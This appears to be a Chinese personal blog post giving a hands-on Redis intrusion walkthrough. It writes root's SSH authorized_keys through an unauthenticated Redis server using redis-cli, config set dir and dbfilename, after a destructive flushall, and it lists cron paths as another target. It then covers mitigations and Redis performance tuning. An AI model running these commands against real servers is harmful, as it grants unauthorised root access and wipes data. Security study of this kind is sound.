苏苏的博客

简约至极

redis 入侵实战

无密码具有高权限的redis易被入侵

入侵的主要思路就是修改Linux配置文件.

通过修改sshdauthorized_keys文件免密码登陆

首先生成一对公钥和私钥 ssh-keygen -t rsa -C "redis"

-t指定类型,-C为添加注释.回车,输入要存放的地址和两次密码(可为空)后就生成了.

我们需要把公钥上传到目标主机的authorized_keys文件中,然后使用对应的私钥和公钥登陆.

redis客户端能够直接修改数据库的位置和名称,达到修改文件的目的

清空数据库 redis-cli -h 192.168.15.10 flushall

写入authorized_keys最好前行后后行都是空行.

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/id_rsa.txt

向redis写自己的公钥 cat /tmp/id_rsa.txt |redis-cli -h 192.168.15.10 -x set redis

登入redis,修改数据库文件地址

config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save
exit

/etc/crontab

/etc/cron.d/

/var/spool/cron/crontabs/ 用户配置文件存储目录。

/var/spool/cron/root

使用密码

redis-server --protected-mode no --daemonize yes --requirepass QAZwsx123edcvfr654JKL

或者修改CONFIG命令

redis-server --rename-command CONFIG "MYCONF"

http://wangxin123.com/2016/09/16/Redis%E5%AE%89%E8%A3%85/

http://ruby-china.org/topics/28094

https://blog.csdn.net/WeiXin_zjmgly/article/details/53692106

redis 性能调优

604:M 29 Nov 07:32:55.973 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
604:M 29 Nov 07:32:55.973 # Server initialized
604:M 29 Nov 07:32:55.973 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.

/etc/sysctl.conf

net.core.somaxconn = 4096

然后sysctl -p使之生效

另一条指令不能再docker容器内修改,只能在宿主机修改。